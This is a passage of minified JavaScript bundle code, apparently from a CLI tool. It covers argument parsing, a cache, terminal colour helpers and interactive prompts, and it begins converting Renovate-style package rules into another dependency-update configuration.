`)),this.enableDidYouMean){let Q=[];for(let z of this.commands){if(z.displayName)Q.push(z.displayName);if(z.aliasNames)Q.push(...z.aliasNames)}let Z=E0($,Q);if(Z.length>0)console.log(k.yellow("Did you mean one of these?")),Z.forEach((z)=>console.log(` ${k.dim("\u2022")} ${this.name} ${z}`)),console.log("")}console.log(k.dim("Run"),`${this.name} --help`,k.dim("to see all available commands")),R.exit(1)}async parse($=N0,Q={}){let{run:Z=!0,exitOnError:z=!1}=Q;if(z)try{return await this.parse($,{run:Z})}catch(X){throw this.handleUsageError(X),X}if(this.rawArgs=$,!this.name)this.name=$[1]?t0($[1]):"cli";let J=!0,Y=$.slice(2),q=Y[0];if(q&&!q.startsWith("-")){for(let X of this.commands)if(X.isMatched(q)){let K=this.mri(Y,X);J=!1;let H={...K,args:K.args.slice(1)};this.setParsedInfo(H,X,q),this.emit(`command:${q}`,X);break}if(J){let X=Y[1];if(X&&!X.startsWith("-")){let K=`${q}:${X}`;for(let H of this.commands)if(H.isMatched(K)){let j=this.mri(Y,H);J=!1;let V={...j,args:j.args.slice(2)};this.setParsedInfo(V,H,K),this.emit(`command:${K}`,H);break}}}}if(J){for(let X of this.commands)if(X.name===""){J=!1;let K=this.mri(Y,X);this.setParsedInfo(K,X),this.emit("command:!",X);break}}if(J){let X=this.mri($.slice(2));this.setParsedInfo(X)}if(this.options.verbose)this.isVerbose=!0;if(this.options.quiet)this.isQuiet=!0;if(this.options.debug)this.isDebug=!0;if(this.options.noInteraction||this.options.interaction===!1)this.isNoInteraction=!0;if(this.options.env)this.environment=String(this.options.env);if(this.options.dryRun)this.isDryRun=!0;if(this.options.force)this.isForce=!0;if(this.options.noEmoji||this.options.emoji===!1)this.useEmoji=!1;if(this.options.theme)this.theme=String(this.options.theme);if(this.options.noCache||this.options.cache===!1)this.isNoCache=!0;if(this.options.help&&this.showHelpOnExit)this.outputHelp(),Z=!1,this.unsetMatchedCommand();if(this.options.version&&this.showVersionOnExit&&this.matchedCommandName==null)this.outputVersion(),Z=!1,this.unsetMatchedCommand();let F={args:this.args,options:this.options};if(Z)await this.runMatchedCommand();if(!this.matchedCommand&&this.args[0]){if(this.emit("command:*"),!(this.listenerCount("command:*")>0))this.showCommandNotFound(this.args[0])}return F}mri($,Q){let Z=[...this.globalCommand.options,...Q?Q.options:[]],z=a0(Z),J=[],Y=$.indexOf("--");if(Y>-1)J=$.slice(Y+1),$=$.slice(0,Y);let q=Q1($,z),F={_:q._};for(let V of Object.keys(q))if(V!=="_")F[f(V)]=q[V];let X=F._,K={"--":J},H=Q&&Q.config.ignoreOptionDefaultValue?Q.config.ignoreOptionDefaultValue:this.globalCommand.config.ignoreOptionDefaultValue,j=Object.create(null);for(let V of Z){if(!H&&V.config.default!==void 0)for(let D of V.names)K[D]=V.config.default;if(Array.isArray(V.config.type)){if(j[V.name]===void 0)j[V.name]={shouldTransform:!0,transformFunction:V.config.type[0]}}}for(let V of Object.keys(F))if(V!=="_"){let D=V.split(".");r0(K,D,F[V]),s0(K,j)}for(let V of Z){if(!V.variadic)continue;for(let D of V.names){let M=K[D];if(M===void 0||Array.isArray(M))continue;if(V.config.default!==void 0&&M===V.config.default)continue;K[D]=[M]}}return{args:X,options:K}}async run($=N0){return this.parse($,{run:!0,exitOnError:!0})}handleUsageError($){if(!o0($)||$.isUsageError===!1)return;let Q=$.message||"command-line error",Z=this.name?`${this.name}: `:"",z=/--help/.test(Q)?"":$.usage?`
|
|
29
|
+
Usage: ${$.usage}`:`
|
|
30
|
+
Run \`${this.name??"cli"} --help\` for usage.`;R.stderr.write(`${Z}${Q}${z}
|
|
31
|
+
`),R.exit($.exitCode??2)}async runMatchedCommand(){let{args:$,options:Q,matchedCommand:Z}=this;if(!Z||!Z.commandAction)return;Z.checkUnknownOptions(),Z.checkOptionValue(),Z.checkRequiredArgs();let z=[];Z.args.forEach((F,X)=>{if(F.variadic)z.push($.slice(X));else z.push($[X])}),z.push(Q);let J={command:Z,args:z,options:Q};for(let F of Z.beforeHooks)await F(J);let Y,q=async()=>{let F=Z.commandAction.apply(this,z);if(F instanceof Promise)Y=await F;else Y=F;return Y};if(Z.middleware.length>0){let F=0,X=async()=>{if(F<Z.middleware.length){let K=Z.middleware[F++];await K({...J,next:X})}else await q()};await X()}else await q();for(let F of Z.afterHooks)await F(J);return Y}removeSignalHandlers(){if(!this.signalHandlersSet)return this;return R.removeAllListeners("SIGINT"),R.removeAllListeners("SIGTERM"),this.signalHandlersSet=!1,this}destroy(){this.removeSignalHandlers(),this.commands=[],this.rawArgs=[],this.args=[],this.options={},this.matchedCommand=void 0,this.matchedCommandName=void 0,this.removeAllListeners()}}class L0{cache;enabled;cleanupInterval=null;hits=0;misses=0;constructor(){this.cache=new Map,this.enabled=!0,this.startCleanupInterval()}startCleanupInterval(){if(this.cleanupInterval)return;this.cleanupInterval=setInterval(()=>{this.cleanup()},30000),this.cleanupInterval.unref()}stopCleanup(){if(this.cleanupInterval)clearInterval(this.cleanupInterval),this.cleanupInterval=null}isEnabled(){return this.enabled}get($){if(!this.enabled){this.misses++;return}let Q=this.cache.get($);if(!Q){this.misses++;return}if(Date.now()-Q.timestamp>Q.ttl){this.cache.delete($),this.misses++;return}return this.hits++,Q.value}set($,Q,Z=5000){if(!this.enabled)return;this.cache.set($,{value:Q,timestamp:Date.now(),ttl:Z})}has($){if(!this.enabled)return!1;let Q=this.cache.get($);if(!Q)return!1;if(Date.now()-Q.timestamp>Q.ttl)return this.cache.delete($),!1;return!0}delete($){this.cache.delete($)}clear(){this.cache.clear()}disable(){this.enabled=!1,this.clear()}enable(){this.enabled=!0}stats(){return{size:this.cache.size,enabled:this.enabled,hits:this.hits,misses:this.misses}}resetStats(){this.hits=0,this.misses=0}keys(){return Array.from(this.cache.keys())}cleanup(){let $=Date.now();for(let[Q,Z]of this.cache.entries())if($-Z.timestamp>Z.ttl)this.cache.delete(Q)}destroy(){this.stopCleanup(),this.clear(),this.resetStats()}}var f$=new L0;function F1(){if("FORCE_COLOR"in _.env)return _.env.FORCE_COLOR!=="0";if("NO_COLOR"in _.env||_.env.TERM==="dumb")return!1;if(_.platform==="win32")return!0;return O0.isatty(1)&&O0.isatty(2)}var I0=F1();function P($,Q){if(!I0)return(Z)=>Z;return(Z)=>$+Z+Q}var K1=P("\x1B[0m","\x1B[0m"),G1=P("\x1B[31m","\x1B[39m"),U1=P("\x1B[32m","\x1B[39m"),H1=P("\x1B[33m","\x1B[39m"),V1=P("\x1B[34m","\x1B[39m"),j1=P("\x1B[35m","\x1B[39m"),W1=P("\x1B[36m","\x1B[39m"),M1=P("\x1B[37m","\x1B[39m"),N1=P("\x1B[90m","\x1B[39m"),O1=P("\x1B[1m","\x1B[22m"),P1=P("\x1B[3m","\x1B[23m"),B1=P("\x1B[4m","\x1B[24m"),T1=P("\x1B[2m","\x1B[22m"),D1=P("\x1B[7m","\x1B[27m"),E1=P("\x1B[8m","\x1B[28m"),w1=P("\x1B[9m","\x1B[29m"),L1=P("\x1B[41m","\x1B[49m"),I1=P("\x1B[42m","\x1B[49m"),R1=P("\x1B[43m","\x1B[49m"),A1=P("\x1B[44m","\x1B[49m"),C1=P("\x1B[45m","\x1B[49m"),x1=P("\x1B[46m","\x1B[49m"),h1=P("\x1B[47m","\x1B[49m"),b1=I0,k1={reset:K1,red:G1,green:U1,yellow:H1,blue:V1,magenta:j1,cyan:W1,white:M1,gray:N1,bold:O1,italic:P1,underline:B1,dim:T1,inverse:D1,hidden:E1,strikethrough:w1,bgRed:L1,bgGreen:I1,bgYellow:R1,bgBlue:A1,bgMagenta:C1,bgCyan:x1,bgWhite:h1,isColorSupported:b1},U=k1,v1=["up","down","left","right","space","enter","cancel"],i={actions:new Set(v1),aliases:new Map([["k","up"],["j","down"],["h","left"],["l","right"],["\x03","cancel"],["escape","cancel"]]),messages:{cancel:"Canceled",error:"Something went wrong"}};function R0($,Q){if(typeof $==="string")return i.aliases.get($)===Q;for(let Z of $){if(Z===void 0)continue;if(R0(Z,Q))return!0}return!1}function y1($,Q){if($===Q)return[];let Z=$.split(`
|
|
32
|
+
`),z=Q.split(`
|
|
33
|
+
`),J=[];for(let Y=0;Y<Math.max(Z.length,z.length);Y++)if(Z[Y]!==z[Y])J.push(Y);return J}var p$=S1.platform.startsWith("win"),P0=Symbol("clapp:cancel");function u($,Q){let Z=$;if(Z.isTTY)Z.setRawMode(Q)}function m1($){return $.replace(/\x1b\[[0-9;]*m/g,"")}function d1($){return m1($).length}function T0($,Q,Z){if(!Q||Q<1)return $;let z=Z?.hard??!1,J=Z?.trim??!0,Y=$.split(`
|
|
34
|
+
`),q=[];for(let F of Y){if(d1(F)<=Q){q.push(J?F.trimEnd():F);continue}if(z){let X="",K=0,H=0;while(H<F.length){let j=F.slice(H).match(/^\x1b\[[0-9;]*m/);if(j){X+=j[0],H+=j[0].length;continue}if(K>=Q)q.push(J?X.trimEnd():X),X="",K=0;X+=F[H],K++,H++}if(X)q.push(J?X.trimEnd():X)}else q.push(J?F.trimEnd():F)}return q.join(`
|
|
35
|
+
`)}class h{input;output;_abortSignal;rl;opts;_render;_track=!1;_prevFrame="";_subscribers=new Map;_cursor=0;_manualLine="";state="initial";error="";value;userInput="";constructor($,Q=!0){let{input:Z=_1,output:z=f1,render:J,signal:Y,...q}=$;this.opts=q,this.onKeypress=this.onKeypress.bind(this),this.close=this.close.bind(this),this.render=this.render.bind(this),this._render=J.bind(this),this._track=Q,this._abortSignal=Y,this.input=Z,this.output=z}unsubscribe(){this._subscribers.clear()}setSubscriber($,Q){let Z=this._subscribers.get($)??[];Z.push(Q),this._subscribers.set($,Z)}on($,Q){return this.setSubscriber($,{cb:Q}),this}once($,Q){return this.setSubscriber($,{cb:Q,once:!0}),this}emit($,...Q){let Z=this._subscribers.get($)??[],z=[];for(let J of Z)if(J.cb(...Q),J.once)z.push(()=>Z.splice(Z.indexOf(J),1));for(let J of z)J();return this}prompt(){return new Promise(($)=>{if(this._abortSignal){if(this._abortSignal.aborted)return this.state="cancel",this.close(),$(P0);this._abortSignal.addEventListener("abort",()=>{this.state="cancel",this.close()},{once:!0})}if(this.rl=g1.createInterface({input:this.input,tabSize:2,prompt:"",escapeCodeTimeout:50,terminal:!0}),this.rl.prompt(),this.opts.initialUserInput!==void 0)this._setUserInput(this.opts.initialUserInput,!0);this.input.on("keypress",this.onKeypress),u(this.input,!0),this.output.on("resize",this.render),this.render(),this.once("submit",()=>{this.output.write(L.show),this.output.off("resize",this.render),u(this.input,!1),$(this.value)}),this.once("cancel",()=>{this.output.write(L.show),this.output.off("resize",this.render),u(this.input,!1),$(P0)})})}_isActionKey($,Q){return $==="\t"}_setValue($){this.value=$,this.emit("value",this.value)}_setUserInput($,Q){if(this.userInput=$??"",this.emit("userInput",this.userInput),Q&&this._track&&this.rl)this.rl.write(this.userInput),this._cursor=this.rl.cursor}onKeypress($,Q){if(this._track&&Q.name!=="return"){if(Q.name&&this._isActionKey($,Q))this.rl?.write(null,{ctrl:!0,name:"h"});this._cursor=this.rl?.cursor??0;let Z=Q.name==="tab"||Q.name==="escape"||Q.name==="backspace"||Q.name==="delete"||Q.name==="enter"||Q.name==="return"||Q.name&&["up","down","left","right"].includes(Q.name);if($&&!Z&&$.length===1&&$>=" ")this._manualLine+=$;else if(Q.name==="backspace"&&this._manualLine.length>0)this._manualLine=this._manualLine.slice(0,-1);let z=this._manualLine.length>=(this.rl?.line?.length||0)?this._manualLine:this.rl?.line;this._setUserInput(z)}if(this.state==="error")this.state="active",this.error="";if(Q?.name){if(!this._track&&i.aliases.has(Q.name))this.emit("cursor",i.aliases.get(Q.name));if(i.actions.has(Q.name))this.emit("cursor",Q.name)}if($&&($.toLowerCase()==="y"||$.toLowerCase()==="n"))this.emit("confirm",$.toLowerCase()==="y");if(this.emit("key",$?.toLowerCase(),Q),Q?.name==="return"){if(this.opts.validate){let Z=this.opts.validate(this.value);if(Z)this.error=Z instanceof Error?Z.message:Z,this.state="error"}if(this.state!=="error")this.state="submit"}if(R0([$,Q?.name,Q?.sequence],"cancel"))this.state="cancel";if(this.state==="submit"||this.state==="cancel")this.emit("finalize");if(this.render(),this.state==="submit"||this.state==="cancel")this.close()}close(){if(this.input.unpipe(),this.input.removeListener("keypress",this.onKeypress),this.output.write(`
|
|
36
|
+
`),u(this.input,!1),this.rl?.close(),this.rl=void 0,this.emit(`${this.state}`,this.value),this.state==="cancel")setTimeout(()=>{this.unsubscribe()},10);else this.unsubscribe()}restoreCursor(){let $=T0(this._prevFrame,B0.stdout.columns,{hard:!0,trim:!1}).split(`
|
|
37
|
+
`).length-1;this.output.write(L.move(-999,$*-1))}render(){let $=T0(this._render(this)??"",B0.stdout.columns,{hard:!0,trim:!1});if($===this._prevFrame)return;if(this.state==="initial")this.output.write(L.hide);else{let Q=y1(this._prevFrame,$);if(this.restoreCursor(),Q&&Q?.length===1){let Z=Q[0];this.output.write(L.move(0,Z)),this.output.write($0.lines(1));let z=$.split(`
|
|
38
|
+
`);this.output.write(z[Z]),this._prevFrame=$,this.output.write(L.move(0,z.length-Z-1));return}if(Q&&Q?.length>1){let Z=Q[0];this.output.write(L.move(0,Z)),this.output.write($0.down());let J=$.split(`
|
|
39
|
+
`).slice(Z);this.output.write(J.join(`
|
|
40
|
+
`)),this._prevFrame=$;return}this.output.write($0.down())}if(this.output.write($),this.state==="initial")this.state="active";this._prevFrame=$}}function u1($,Q){if($===void 0)return 0;if(Q.length===0)return 0;let z=Q.findIndex((J)=>J.value===$);return z!==-1?z:0}function c1($,Q){return(Q.label??String(Q.value)).toLowerCase().includes($.toLowerCase())}function p1($,Q){if(!Q)return;if($)return Q;return Q[0]}class i1 extends h{filteredOptions;multiple;isNavigating=!1;selectedValues=[];focusedValue;#$=0;#Z="";#z;#Q;get cursor(){return this.#$}get userInputWithCursor(){if(!this.userInput)return U.inverse(U.hidden("_"));if(this._cursor>=this.userInput.length)return`${this.userInput}\u2588`;let $=this.userInput.slice(0,this._cursor),[Q,...Z]=this.userInput.slice(this._cursor);return`${$}${U.inverse(Q)}${Z.join("")}`}get options(){if(typeof this.#Q==="function")return this.#Q();return this.#Q}constructor($){super($);this.#Q=$.options;let Q=this.options;this.filteredOptions=[...Q],this.multiple=$.multiple===!0,this.#z=$.filter??c1;let Z;if($.initialValue&&Array.isArray($.initialValue))if(this.multiple)Z=$.initialValue;else Z=$.initialValue.slice(0,1);else if(!this.multiple&&this.options.length>0)Z=[this.options[0].value];if(Z)for(let z of Z){let J=Q.findIndex((Y)=>Y.value===z);if(J!==-1)this.toggleSelected(z),this.#$=J}this.focusedValue=this.options[this.#$]?.value,this.on("key",(z,J)=>this.#J(z,J)),this.on("userInput",(z)=>this.#Y(z))}_isActionKey($,Q){return $==="\t"||this.multiple&&this.isNavigating&&Q.name==="space"&&$!==void 0&&$!==""}#J($,Q){let Z=Q.name==="up",z=Q.name==="down",J=Q.name==="return";if(Z||z){if(this.#$=Math.max(0,Math.min(this.#$+(Z?-1:1),this.filteredOptions.length-1)),this.focusedValue=this.filteredOptions[this.#$]?.value,!this.multiple)this.selectedValues=[this.focusedValue];this.isNavigating=!0}else if(J)this.value=p1(this.multiple,this.selectedValues);else if(this.multiple)if(this.focusedValue!==void 0&&(Q.name==="tab"||this.isNavigating&&Q.name==="space"))this.toggleSelected(this.focusedValue);else this.isNavigating=!1;else{if(this.focusedValue)this.selectedValues=[this.focusedValue];this.isNavigating=!1}}deselectAll(){this.selectedValues=[]}toggleSelected($){if(this.filteredOptions.length===0)return;if(this.multiple)if(this.selectedValues.includes($))this.selectedValues=this.selectedValues.filter((Q)=>Q!==$);else this.selectedValues=[...this.selectedValues,$];else this.selectedValues=[$]}#Y($){if($!==this.#Z){this.#Z=$;let Q=this.options;if($)this.filteredOptions=Q.filter((Z)=>this.#z($,Z));else this.filteredOptions=[...Q];if(this.#$=u1(this.focusedValue,this.filteredOptions),this.focusedValue=this.filteredOptions[this.#$]?.value,!this.multiple)if(this.focusedValue!==void 0)this.toggleSelected(this.focusedValue);else this.deselectAll()}}}class A0 extends h{get cursor(){return this.value?0:1}get _value(){return this.cursor===0}constructor($){super($,!1);this.value=!!$.initialValue,this.on("userInput",()=>{this.value=this._value}),this.on("confirm",(Q)=>{this.output.write(L.move(0,-1)),this.value=Q,this.state="submit",this.close()}),this.on("cursor",()=>{this.value=!this.value})}}class n1 extends h{options;cursor=0;#$;getGroupItems($){return this.options.filter((Q)=>Q.group===$)}isGroupSelected($){let Q=this.getGroupItems($),Z=this.value;if(Z===void 0)return!1;return Q.every((z)=>Z.includes(z.value))}toggleValue(){let $=this.options[this.cursor];if(this.value===void 0)this.value=[];if($.group===!0){let Q=String($.value),Z=this.getGroupItems(Q);if(this.isGroupSelected(Q))this.value=this.value.filter((z)=>Z.findIndex((J)=>J.value===z)===-1);else this.value=[...this.value,...Z.map((z)=>z.value)];this.value=Array.from(new Set(this.value))}else{let Q=this.value.includes($.value);this.value=Q?this.value.filter((Z)=>Z!==$.value):[...this.value,$.value]}}constructor($){super($,!1);let{options:Q}=$;this.#$=$.selectableGroups!==!1,this.options=Object.entries(Q).flatMap(([Z,z])=>[{value:Z,group:!0,label:Z},...z.map((J)=>({...J,group:Z}))]),this.value=[...$.initialValues??[]],this.cursor=Math.max(this.options.findIndex(({value:Z})=>Z===$.cursorAt),this.#$?0:1),this.on("cursor",(Z)=>{switch(Z){case"left":case"up":{this.cursor=this.cursor===0?this.options.length-1:this.cursor-1;let z=this.options[this.cursor]?.group===!0;if(!this.#$&&z)this.cursor=this.cursor===0?this.options.length-1:this.cursor-1;break}case"down":case"right":{this.cursor=this.cursor===this.options.length-1?0:this.cursor+1;let z=this.options[this.cursor]?.group===!0;if(!this.#$&&z)this.cursor=this.cursor===this.options.length-1?0:this.cursor+1;break}case"space":this.toggleValue();break}})}}class C0 extends h{options;cursor=0;get _value(){return this.options[this.cursor].value}toggleAll(){let $=this.value!==void 0&&this.value.length===this.options.length;this.value=$?[]:this.options.map((Q)=>Q.value)}toggleValue(){if(this.value===void 0)this.value=[];let $=this.value.includes(this._value);this.value=$?this.value.filter((Q)=>Q!==this._value):[...this.value,this._value]}constructor($){super($,!1);this.options=$.options,this.value=[...$.initialValues??[]],this.cursor=Math.max(this.options.findIndex(({value:Q})=>Q===$.cursorAt),0),this.on("key",(Q)=>{if(Q==="a")this.toggleAll()}),this.on("cursor",(Q)=>{switch(Q){case"left":case"up":this.cursor=this.cursor===0?this.options.length-1:this.cursor-1;break;case"down":case"right":this.cursor=this.cursor===this.options.length-1?0:this.cursor+1;break;case"space":this.toggleValue();break}})}}class x0 extends h{options;cursor=0;get _selectedValue(){return this.options[this.cursor]}changeValue(){this.value=this._selectedValue.value}constructor($){super($,!1);if(this.options=$.options,this.cursor=this.options.findIndex(({value:Q})=>Q===$.initialValue),this.cursor===-1)this.cursor=0;this.changeValue(),this.on("cursor",(Q)=>{switch(Q){case"left":case"up":this.cursor=this.cursor===0?this.options.length-1:this.cursor-1;break;case"down":case"right":this.cursor=this.cursor===this.options.length-1?0:this.cursor+1;break}this.changeValue()})}}class h0 extends h{placeholder;get userInputWithCursor(){if(this.state==="submit")return this.userInput;let $=this.userInput;if(this.cursor>=$.length)return`${this.userInput}\u2588`;let Q=$.slice(0,this.cursor),[Z,...z]=$.slice(this.cursor);return`${Q}${U.inverse(Z)}${z.join("")}`}get cursor(){return this._cursor}constructor($){super({...$,initialUserInput:$.initialUserInput??$.initialValue});this.placeholder=$.placeholder,this.on("key",(Q)=>{if(Q==="\t"&&this.placeholder){if(!this.userInput||this.userInput==="\t")this._setValue(this.placeholder),this._setUserInput(this.placeholder,!0)}}),this.on("userInput",(Q)=>{this._setValue(Q)}),this.on("finalize",()=>{if(!this.userInput&&this.placeholder)this.value=this.placeholder;if(!this.value)this.value=$.defaultValue;if(this.value===void 0)this.value=""})}}var l1=e0();var O=($,Q)=>l1?$:Q,a1=O("\u25C6","*"),r1=O("\u25A0","x"),s1=O("\u25B2","x"),t1=O("\u25C7","o"),l$=O("\u250C","T"),N=O("\u2502","|"),S=O("\u2514","\u2014"),z0=O("\u25CF",">"),J0=O("\u25CB"," "),o1=O("\u25FB","[\u2022]"),D0=O("\u25FC","[+]"),e1=O("\u25FB","[ ]"),a$=O("\u25AA","\u2022"),r$=O("\u2500","-"),s$=O("\u256E","+"),t$=O("\u251C","+"),o$=O("\u256F","+"),e$=O("\u25CF","\u2022"),$Q=O("\u25C6","*"),QQ=O("\u25B2","!"),ZQ=O("\u25A0","x");function l($){switch($){case"initial":case"active":return U.cyan(a1);case"cancel":return U.red(r1);case"error":return U.yellow(s1);case"submit":return U.green(t1)}}function F0($){return $.replace(/_([^_]+)_/g,(Q,Z)=>k.italic(Z))}function Y0($){let{cursor:Q,options:Z,style:z}=$,J=$.output??$$.stdout,Y=J instanceof Q$&&J.rows!==void 0?J.rows:10,q=U.dim("..."),F=$.maxItems??Number.POSITIVE_INFINITY,X=Math.max(Y-4,0),K=Math.min(X,Math.max(F,5)),H=0;if(Q>=H+K-3)H=Math.max(Math.min(Q-K+3,Z.length-K),0);else if(Q<H+2)H=Math.max(Q-2,0);let j=K<Z.length&&H>0,V=K<Z.length&&H+K<Z.length;return Z.slice(H,H+K).map((D,M,I)=>{let C=M===0&&j,d=M===I.length-1&&V;return C||d?q:z(D,M+H===Q)})}function a($){let Q=$.active??"Yes",Z=$.inactive??"No",z=F0($.message);return new A0({active:Q,inactive:Z,signal:$.signal,input:$.input,output:$.output,initialValue:$.initialValue??!0,render(){let J=`${U.gray(N)}
|
|
41
|
+
${l(this.state)} ${z}
|
|
42
|
+
`,Y=this.value?Q:Z;switch(this.state){case"submit":return`${J}${U.gray(N)} ${U.dim(Y)}`;case"cancel":return`${J}${U.gray(N)} ${U.strikethrough(U.dim(Y))}
|
|
43
|
+
${U.gray(N)}`;default:return`${J}${U.cyan(N)} ${this.value?`${U.green(z0)} ${Q}`:`${U.dim(J0)} ${U.dim(Q)}`} ${U.dim("/")} ${!this.value?`${U.green(z0)} ${Z}`:`${U.dim(J0)} ${U.dim(Z)}`}
|
|
44
|
+
${U.cyan(S)}
|
|
45
|
+
`}}}).prompt()}function b0($){let Q=(z,J)=>{let Y=z.label??String(z.value);if(J==="active")return`${U.cyan(o1)} ${Y}${z.hint?` ${U.dim(`(${z.hint})`)}`:""}`;if(J==="selected")return`${U.green(D0)} ${U.dim(Y)}${z.hint?` ${U.dim(`(${z.hint})`)}`:""}`;if(J==="cancelled")return`${U.strikethrough(U.dim(Y))}`;if(J==="active-selected")return`${U.green(D0)} ${Y}${z.hint?` ${U.dim(`(${z.hint})`)}`:""}`;if(J==="submitted")return`${U.dim(Y)}`;return`${U.dim(e1)} ${U.dim(Y)}`},Z=$.required??!0;return new C0({options:$.options,input:$.input,output:$.output,initialValues:$.initialValues,required:Z,cursorAt:$.cursorAt,validate(z){if(Z&&(z===void 0||z.length===0))return`Please select at least one option.
|
|
46
|
+
${U.reset(U.dim(`Press ${U.gray(U.bgWhite(U.inverse(" space ")))} to select, ${U.gray(U.bgWhite(U.inverse(" enter ")))} to submit`))}`},render(){let z=`${U.gray(N)}
|
|
47
|
+
${l(this.state)} ${$.message}
|
|
48
|
+
`,J=this.value??[],Y=(q,F)=>{let X=J.includes(q.value);if(F&&X)return Q(q,"active-selected");if(X)return Q(q,"selected");return Q(q,F?"active":"inactive")};switch(this.state){case"submit":return`${z}${U.gray(N)} ${this.options.filter(({value:q})=>J.includes(q)).map((q)=>Q(q,"submitted")).join(U.dim(", "))||U.dim("none")}`;case"cancel":{let q=this.options.filter(({value:F})=>J.includes(F)).map((F)=>Q(F,"cancelled")).join(U.dim(", "));return`${z}${U.gray(N)}${q.trim()?` ${q}
|
|
49
|
+
${U.gray(N)}`:""}`}case"error":{let q=this.error.split(`
|
|
50
|
+
`).map((F,X)=>X===0?`${U.yellow(S)} ${U.yellow(F)}`:` ${F}`).join(`
|
|
51
|
+
`);return`${z+U.yellow(N)} ${Y0({output:$.output,options:this.options,cursor:this.cursor,maxItems:$.maxItems,style:Y}).join(`
|
|
52
|
+
${U.yellow(N)} `)}
|
|
53
|
+
${q}
|
|
54
|
+
`}default:return`${z}${U.cyan(N)} ${Y0({output:$.output,options:this.options,cursor:this.cursor,maxItems:$.maxItems,style:Y}).join(`
|
|
55
|
+
${U.cyan(N)} `)}
|
|
56
|
+
${U.cyan(S)}
|
|
57
|
+
`}}}).prompt()}var YQ={light:O("\u2500","-"),heavy:O("\u2501","="),block:O("\u2588","#")};function m($){let Q=F0($.message),Z=(z,J)=>{let Y=z.label??String(z.value);switch(J){case"selected":return`${U.dim(Y)}`;case"active":return`${U.green(z0)} ${Y}${z.hint?` ${U.dim(`(${z.hint})`)}`:""}`;case"cancelled":return`${U.strikethrough(U.dim(Y))}`;default:return`${U.dim(J0)} ${U.dim(Y)}`}};return new x0({options:$.options,signal:$.signal,input:$.input,output:$.output,initialValue:$.initialValue,render(){let z=`${U.gray(N)}
|
|
58
|
+
${l(this.state)} ${Q}
|
|
59
|
+
`;switch(this.state){case"submit":return`${z}${U.gray(N)} ${Z(this.options[this.cursor],"selected")}`;case"cancel":return`${z}${U.gray(N)} ${Z(this.options[this.cursor],"cancelled")}
|
|
60
|
+
${U.gray(N)}`;default:return`${z}${U.cyan(N)} ${Y0({output:$.output,cursor:this.cursor,options:this.options,maxItems:$.maxItems,style:(J,Y)=>Z(J,Y?"active":"inactive")}).join(`
|
|
61
|
+
${U.cyan(N)} `)}
|
|
62
|
+
${U.cyan(S)}
|
|
63
|
+
`}}}).prompt()}function Z$(){return`${U.gray(N)} `}var qQ=Z$();function K0($){let Q=F0($.message);return new h0({validate:$.validate,placeholder:$.placeholder,defaultValue:$.defaultValue,initialValue:$.initialValue,output:$.output,signal:$.signal,input:$.input,render(){let Z=`${U.gray(N)}
|
|
64
|
+
${l(this.state)} ${Q}
|
|
65
|
+
`,z=$.placeholder?U.inverse($.placeholder[0])+U.dim($.placeholder.slice(1)):U.inverse(U.hidden("_")),J=!this.userInput?z:this.userInputWithCursor,Y=this.value??"";switch(this.state){case"error":{let q=this.error?` ${U.yellow(this.error)}`:"";return`${Z.trim()}
|
|
66
|
+
${U.yellow(N)} ${J}
|
|
67
|
+
${U.yellow(S)}${q}
|
|
68
|
+
`}case"submit":{let F=(this.userInput||Y!==$.placeholder)&&Y?` ${U.dim(Y)}`:"";return`${Z}${U.gray(N)}${F}`}case"cancel":{let q=Y?` ${U.strikethrough(U.dim(Y))}`:"";return`${Z}${U.gray(N)}${q}${Y.trim()?`
|
|
69
|
+
${U.gray(N)}`:""}`}default:return`${Z}${U.cyan(N)} ${J}
|
|
70
|
+
${U.cyan(S)}
|
|
71
|
+
`}}}).prompt()}var k0={npm:"npm",bun:"npm",pnpm:"npm",yarn:"npm",composer:"composer","github-actions":"github-actions",dockerfile:"docker","docker-compose":"docker",docker:"docker"},z$=new Set(["pin","digest","lockFileMaintenance","rollback","bump","replacement","pinDigest"]);function J$($){let Q=$.trim();if(/^\^[\w@\-./]+$/.test(Q))return{glob:`${Q.slice(1)}*`,exact:!0};if(/^\^[\w@\-./]+\$$/.test(Q))return{glob:Q.slice(1,-1),exact:!0};if(/^[\w@\-./]+\$$/.test(Q))return{glob:`*${Q.slice(0,-1)}`,exact:!0};if(/^[\w@\-./]+$/.test(Q))return{glob:`*${Q}*`,exact:!0};return{glob:Q,exact:!1}}function Y$($){if(typeof $==="number")return $;if(typeof $!=="string")return null;let Q=/^(\d+)\s*(minute|hour|day|week)s?$/i.exec($.trim());if(!Q)return null;let Z=Number(Q[1]);switch(Q[2].toLowerCase()){case"minute":return Z;case"hour":return Z*60;case"day":return Z*60*24;case"week":return Z*60*24*7;default:return null}}function S0($){let Q=[],Z=[],z=[];if(!Array.isArray($))return{rules:Q,incompatible:Z,warnings:z};return $.forEach((J,Y)=>{if(typeof J!=="object"||J===null)return;let q=J,F={},X=`packageRules[${Y}]`,K=new Set;for(let T of w(q.matchPackageNames))K.add(T);for(let T of w(q.matchPackagePrefixes))K.add(`${T}*`);for(let T of w(q.matchPackagePatterns)){let{glob:u0,exact:c0}=J$(T);if(K.add(u0),!c0)z.push(`${X}: pattern ${JSON.stringify(T)} is a regular expression and was copied verbatim as a glob \u2014 check it matches what you expect`)}if(K.size>0)F.matchPackages=[...K];let H=w(q.matchDepTypes);if(H.length>0)F.matchDepTypes=H;let j=[...w(q.matchFileNames),...w(q.matchPaths)];if(j.length>0)F.matchFiles=j;let V=w(q.matchUpdateTypes??q.updateTypes),D=V.filter((T)=>T==="major"||T==="minor"||T==="patch"),M=V.filter((T)=>z$.has(T));if(D.length>0)F.matchUpdateTypes=D;if(M.length>0)Z.push(`${X}: update types ${M.join(", ")} have no equivalent`);let I=w(q.matchManagers).map((T)=>k0[T]).filter((T)=>Boolean(T));if(I.length>0)F.matchEcosystems=[...new Set(I)];let C=w(q.matchManagers).filter((T)=>!k0[T]);if(C.length>0)Z.push(`${X}: managers ${C.join(", ")} are not supported`);if(typeof q.matchCurrentVersion==="string")F.matchCurrentVersion=q.matchCurrentVersion;if(typeof q.enabled==="boolean")F.enabled=q.enabled;if(typeof q.groupName==="string")F.groupName=q.groupName;if(typeof q.automerge==="boolean")F.autoMerge=q.automerge;if(typeof q.prPriority==="number")F.prPriority=q.prPriority;let d=[...w(q.labels),...w(q.addLabels)];if(d.length>0)F.labels=[...new Set(d)];let G0=w(q.reviewers);if(G0.length>0)F.reviewers=G0;let U0=w(q.assignees);if(U0.length>0)F.assignees=U0;let H0=Y$(q.minimumReleaseAge);if(H0!==null)F.minimumReleaseAge=H0;else if(q.minimumReleaseAge!==void 0)z.push(`${X}: could not parse minimumReleaseAge 